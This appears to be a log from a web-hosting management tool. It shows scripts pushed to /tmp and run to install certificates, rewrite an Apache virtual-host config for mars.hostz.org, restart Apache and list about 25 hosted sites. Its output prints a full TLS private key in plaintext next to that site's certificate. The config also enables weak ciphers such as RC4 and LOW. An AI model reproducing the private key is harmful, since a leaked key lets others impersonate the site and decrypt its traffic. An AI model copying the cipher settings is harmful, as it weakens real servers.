-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-09 06:00:34: 

chmod 755 /tmp/pkp234273; /tmp/pkp234273; rm /tmp/pkp234273

2025-10-09 06:00:34: 


dir=/etc/ssl/certs


2025-10-09 06:00:34: 

PUT: /tmp/pkp667084

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/000-hostz_mars_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-09 06:00:34: 

chmod 755 /tmp/pkp667084; /tmp/pkp667084; rm /tmp/pkp667084

2025-10-09 06:00:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf 38

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-09 06:00:34: 

PUT: /tmp/pkp166910

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=000-hostz_mars_org.conf
TARGET=/etc/apache2/sites-enabled/000-hostz_mars_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/000-hostz_mars_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf= 1'
fi


2025-10-09 06:00:34: 

chmod 755 /tmp/pkp166910; /tmp/pkp166910; rm /tmp/pkp166910

2025-10-09 06:00:34: 




2025-10-09 06:00:34: 

PUT: /tmp/pkp930122

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-09 06:00:34: 

chmod 755 /tmp/pkp930122; /tmp/pkp930122; rm /tmp/pkp930122

2025-10-09 06:00:35: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-09 06:00:35: Establishing a connection
2025-10-09 06:00:35: 

PUT: /tmp/pkp857519

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-09 06:00:35: 

chmod 755 /tmp/pkp857519; /tmp/pkp857519; rm /tmp/pkp857519

2025-10-09 06:00:35: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-09 06:00:35: 

PUT: /tmp/pkp302411

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/000-hostz_mars_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 06:00:35: 

chmod 755 /tmp/pkp302411; /tmp/pkp302411; rm /tmp/pkp302411

2025-10-09 06:00:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf	1374

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-09 06:00:35: 

PUT: /tmp/pkp511872

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 06:00:35: 

chmod 755 /tmp/pkp511872; /tmp/pkp511872; rm /tmp/pkp511872

2025-10-09 06:00:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5341
72:16:f8:4e:1f:35:57:75:0b:e0:20:62:3e:62:76:cf

-----BEGIN CERTIFICATE-----
MIIE9zCCA9+gAwIBAgISBlU3nXHtbb7cUEljQQNZXNk6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MDUwMjAxWhcNMjYwMTA3MDUwMjAwWjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AM//eTz1niCwUntFTsD6FMmXVolnP9l+uH1npMsMvZ6MvjefnrlG7hPgW59DyKAY
wO6b9FPVEkyMHFUGy61t98StVe4cmM9hRcF06I63jmsJOoxRI/gVtRhH4DZ6xsUv
May2t5mKd6+5KEJB7HjOCXcPJ0z1/wxLBrdS+ducEYYgjPzh1xdWHGm3wo4DECwu
dFUax06AMWLWUL4CgSVPlGX7nUrDdaNvjTqK4nLHm8ew4A2cu3bjlxTFiidr3hfU
NwBACMWocfK/+hSNrEVNPhdMxoez7WuQYdm+y4RcOscpbbONgcuRzW98kVfFPWUd
Yi15koyOUSqP0uh86g41uXkCAwEAAaOCAh0wggIZMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUYtGG5ImepC01QoCXhHqws3MOpDswHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5tYXJzLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzU5LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AGQRxGyk
EuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmceOi7MAAAQDAEYwRAIgHGwa
KjtdmZzd4cj0LHML6uXrbtWVoGXCt3Hd9J/VxdoCIHX21am1V+ipabWur2kcca6K
yShh/1h3X5YpnOiDKy2nAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/K
qcYAAAGZx46TsAAABAMARzBFAiEAukIXt567dh4+97acVQnz1qagvCkNdw7VJemd
i/yuBxcCIHm+vg8m8ChpC++yiviSUqDezvitow7+siPOyrfGm8cyMA0GCSqGSIb3
DQEBCwUAA4IBAQAik0gSbOrvTSSoS/woZv3tRpwUwmhD/ipoqBOUXxhIgoYoAUFK
8Z6iSAo2YUm5qnM3cRkISoFpSJD4no4TmLWEJ4kog0ZKf12ql0lIRYFjk8iCEYXY
2lyVIRk7N/kHxb233fqy9rvUkyR5uNV0iE4cLL4cr2dDNtlgIaUW6jki1+4jDqz1
McWqr+qOfWztb0fWZYoi4tH1uO84inyFqRHM7ympDe4qRtdGQvKoW/ZLpn8mgjmi
wMkWCZNenRQqAjZ5RfIsLlvqv46Sa5oFkgtPIgfWKuvcSS+EatPLacjZz1SOWiOF
mGvKXxQEXrn6UGnaCnyRh0mXRnWQW7BzogS5
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDP/3k89Z4gsFJ7
RU7A+hTJl1aJZz/Zfrh9Z6TLDL2ejL43n565Ru4T4FufQ8igGMDum/RT1RJMjBxV
BsutbffErVXuHJjPYUXBdOiOt45rCTqMUSP4FbUYR+A2esbFLzGstreZinevuShC
Qex4zgl3DydM9f8MSwa3UvnbnBGGIIz84dcXVhxpt8KOAxAsLnRVGsdOgDFi1lC+
AoElT5Rl+51Kw3Wjb406iuJyx5vHsOANnLt245cUxYona94X1DcAQAjFqHHyv/oU
jaxFTT4XTMaHs+1rkGHZvsuEXDrHKW2zjYHLkc1vfJFXxT1lHWIteZKMjlEqj9Lo
fOoONbl5AgMBAAECggEARDNfnIZo+Az4rqTWIt6dTFCMNnedbwJnGe+PEGk4D7HU
eUakc9n3HJtXT4yZTy1urY6Dea2G14SlkZet10sUj+/KGk5UKMObbMiZrJoxX5Vi
FjpQ0frEK5b9xL9TR7qmzhwHbZgCkKLkuX0GPcJJRjm4yDptC6naJOhXNxQghtq0
LBHY1sja/PTuo7bDgABSPoWx/ZW8UEoTFbmMu3oV6i47Ufsq+NFaukn+r301hSV5
gAqs3bCHyTGdj3RJQz5fObyU8vw5vorLtJ/F3E7EohkW8goy3vhxK76ZGh+qWopA
qIVhv1ZfWj6uQkVhfEcNIT61o0WhzlEAxM5DRZdotQKBgQDnpWNqhpa9WX0pBD8n
EyAHj/PsFwMMAqkRyXItW5gx28C9okQYlIOPRZFOx4HygLc85YQUZvS0AwBwHlCs
a92+4apkK98aXRQHD7PxG6ApcpOW3xx8HaNqwFMsLzLEFb21G66YUtgq+AiaUveH
q8mJdehvCrVR1Jn348mDwiZXpwKBgQDl3ZxpDjIh9qcJj5wbPifhVFj+CQsFHWMv
ENBj7gqd7GdjCHOVAJMaIrZmOhA+L7iMa5sHxKlhZh8ht/rjn3VZiY3nOUndEsnJ
4Mu9SEkC9EIjaQ60lmCRaDdZg3Jv+8lwV9lz3nwz3sZQYRkxqOGPQe1iDRKPeP++
DE0Ko8GJ3wKBgF6kW/Hx+zRxk4lmisbUMYnlbqtO25fUnm799wBBI/V660yPN3Mz
emzW539gU99YZ4Uh4MzVI7VIZK1qNVu81mRentc+dXC4Bq6747DmsJE+lr5VebXc
BiBfY5vxzLQAjfmozbS+ZENqA1nJ/AgaT8Uxvz1fCqXcTuvQzUxfznqRAoGBAIyF
bZjLlNoubu7pXAVLehXF+qFR5eq6jGe5X6u3WcYxPwLLp9zu/P59OgREeqmJgshU
//E/yExCocV7M2TzlkmmTZmM7Bq54aIISoTsK7YinEwJbXP4ehBqJWwTb2IGCp8j
FUxANq1/Ar0gnsY896ccJoJKe4456h3EZ1SZxzcBAoGBAKqcdnpIMd6AqUOxEssu
WysJ/T55VzUdcGBcvtwbE+zauZY8BrGuGtJAuh2evpIuzFif8676QLriPEsxkZm0
6NNSOAQRhpPGHP0hL8WxZWNqq4cb5PgNpboqR5MiCVHERodN3WLLUG3yKDgGosrc
HyXUnkkebqKjzKxMFHZdEChh
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
